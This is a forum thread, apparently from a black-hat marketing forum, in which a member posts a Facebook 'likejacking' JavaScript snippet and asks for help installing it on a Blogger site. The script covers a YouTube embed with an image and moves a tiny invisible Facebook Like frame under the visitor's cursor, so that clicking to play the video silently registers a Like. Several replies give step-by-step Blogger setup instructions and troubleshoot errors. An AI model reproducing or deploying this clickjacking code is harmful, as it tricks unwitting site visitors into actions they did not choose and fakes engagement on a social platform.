Facebook LikeJacking/ClickJacking Script

alienacademy

Senior Member
Joined
Jan 30, 2013
Messages
1,056
Reaction score
667
Hey Guys,
I found a ClickJacking Script. It seems good but don't know how to use it on blogger.
It would be good if anyone help me to setup this. Please.
Thanks

Script:
Code:
<script type="text/javascript">

  // Put here the url to like, use document.location.href to use current url.
  var sUrlToLike = 'http://www.site.com/your-url-to-like';
  // An image to use to replace the YouTube video before the user clicks on it.
  var sImageToUse = 'http://www.site.com/image-to-use-before-video-gets-loaded.png';

  var oYouTubeFrame = $('iframe[src*="youtube.com/embed/"]');
  var aMatches      = oYouTubeFrame.attr('src').match( /^.+embed\/(.+)/ );

  if( aMatches )
  {
    var sInstanceId         = 'lj' + ( new Date() ).getTime();
    var oActiveElement      = undefined;
    var oInterval           = undefined;
    var oRemoveInterval  = undefined;
    var oImage           = $( '<img src="' + sImageToUse + '" width="560" height="315"/>' );
    var oInvisibleDiv       = $( '<div/>' );
    var oIFrame          = $( '<iframe id="' + sInstanceId + '"></iframe>' );
    var sVideoCode          = aMatches[1];
    var bDone            = false;
    var iX = 0;
    var iY = 0;

    oYouTubeFrame.hide().after( oImage );

    oInterval = setInterval( function()
    {
      oActiveElement = $( document.activeElement );

      if( oActiveElement.attr('id') == sInstanceId && bDone == false )
      {
        oImage.remove();

        oYouTubeFrame
        .attr( 'src', 'http://www.youtube.com/embed/' + sVideoCode + '?autoplay=1' )
        .show();

        bDone = true;
        oRemoveInterval = setInterval( function()
        {
          oInvisibleDiv.remove();

          clearInterval( oRemoveInterval );
          clearInterval( oInterval );
        },
        1000 );
      }
    },
    50 );

    oInvisibleDiv.css
    ({
      border     : 0,
      width      : '2px',
      height     : '2px',
      position   : 'absolute',
      background : '#000'
    });

    oIFrame.css
    ({
      border   : 0,
      width    : '2px',
      height   : '2px',
      margin   : 0,
      padding  : 0,
      position : 'absolute'
    })
    .attr( 'scrolling',   'no' )
    .attr( 'frameborder', 'no' )
    .attr( 'src',         'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent( sUrlToLike ) + '&show_faces=false' )
    .appendTo( oInvisibleDiv );

    oInvisibleDiv.appendTo('body');

    $('body').mousemove( function(e)
    {
      iX = e.pageX;
      iY = e.pageY;

      oInvisibleDiv.css
      ({
        left : ( e.pageX - 1 ) + 'px',
        top  : ( e.pageY - 1 ) + 'px'
      });
    });
  }

</script>
 

Empire007

Regular Member
Joined
Jul 22, 2012
Messages
491
Reaction score
76
I was just looking for this too. Sadly i dont know how to set this up to. Would preferably want to use it on HTML. hope it wont get the page banned ???
 

kainth56

Registered Member
Joined
Jul 23, 2009
Messages
69
Reaction score
46
go to dashboard in blogger check out then layout. Click on add a gadget and then HTML/javascript. This will open a dialog box enter your script here and save. Test and go ahead.
 

alienacademy

Senior Member
Joined
Jan 30, 2013
Messages
1,056
Reaction score
667
go to dashboard in blogger check out then layout. Click on add a gadget and then HTML/javascript. This will open a dialog box enter your script here and save. Test and go ahead.

Dude I am not that much newbie. Actually its giving some errors in html when I try to save. If you added it successfully so please pm me.
 

Spawnie

Power Member
Joined
Feb 1, 2010
Messages
707
Reaction score
292
OMG - posting it public - you sir are a COMPLETE n00b
 

alienacademy

Senior Member
Joined
Jan 30, 2013
Messages
1,056
Reaction score
667
OMG - posting it public - you sir are a COMPLETE n00b

You are here from 2010 but its looks to me you are NOOBer than any other member here. The script is already for public use. And its not the first script posted here.
 

lmxftw

BANNED
Joined
Mar 11, 2013
Messages
1,010
Reaction score
1,181
buy a domain and get some free hosting... i know how to set it up on blogger ... 100$ and i'll tell you :)

buying a domain and some shared hosting sounds cool now right ?
 

Spawnie

Power Member
Joined
Feb 1, 2010
Messages
707
Reaction score
292
You are here from 2010 but its looks to me you are NOOBer than any other member here. The script is already for public use. And its not the first script posted here.

http://www.blackhatworld.com/blackhat-seo/blackhat-lounge/621941-help-me-setup-script.html - and I'm the noobiest :D
 

umerjutt00

Elite Member
Joined
Oct 28, 2011
Messages
4,356
Reaction score
2,472
Go to blogger blog > Template > scroll down > switch to classic template > Remove everything and add that javascript...click on save template.

Edit: I added that script and getting error: "$ is not defined. Syntax Error".
 
Last edited:

zx123

Senior Member
Joined
Feb 26, 2009
Messages
1,184
Reaction score
887
Website
goo.gl
This is only the javascript! The OP not posted also the other part of the code... So f.&% you and resolve your problem alone
 

Spawnie

Power Member
Joined
Feb 1, 2010
Messages
707
Reaction score
292
This is only the javascript! The OP not posted also the other part of the code... So f.&% you and resolve your problem alone

Most probably because he couldn't figure out what the other part is or what belongs to this script to work at all ^^
 

d4mn1t

Newbie
Joined
Feb 15, 2012
Messages
18
Reaction score
5
You guys are unbelievable none of you know how these scripts work but are arguing about di*** size :) you won't change anything by posting working script because small part of people will integrate them
 

Spawnie

Power Member
Joined
Feb 1, 2010
Messages
707
Reaction score
292
You guys are unbelievable none of you know how these scripts work but are arguing about di*** size :) you won't change anything by posting working script because small part of people will integrate them

Oh - I know that very well...
It just pisses me off when some scriptkid is posting scripts (or part of scripts) publicly on BHW they happend to 'find somewhere' to ruin the methods of other users with more knowledge that use them for some time already...

I'm not using the above mentioned script on my own - its just pissing me off in general.
I think I remember a time when users got banned for posting stuff like this in public.
 

alienacademy

Senior Member
Joined
Jan 30, 2013
Messages
1,056
Reaction score
667
So many retard peoples here....
First of all that is the full part I got from the website.
Second Its not a big fucking secret, the script is already listed on www.emoticode.net
So the script is not made by me so just shut your mouth if its giving you any error because I am already fucking retard of these errors.
 

Izatrap

Registered Member
Joined
Mar 29, 2013
Messages
60
Reaction score
2
So many retard peoples here....
First of all that is the full part I got from the website.
Second Its not a big fucking secret, the script is already listed on www.emoticode.net
So the script is not made by me so just shut your mouth if its giving you any error because I am already fucking retard of these errors.

+1

The script have been public since april ..
 

Maxell

Regular Member
Joined
May 10, 2007
Messages
482
Reaction score
607
LIKE is useless bro, soon as you cross 100-200 likes quickly they show "confirm" button and you cannot bypass it..
 
Top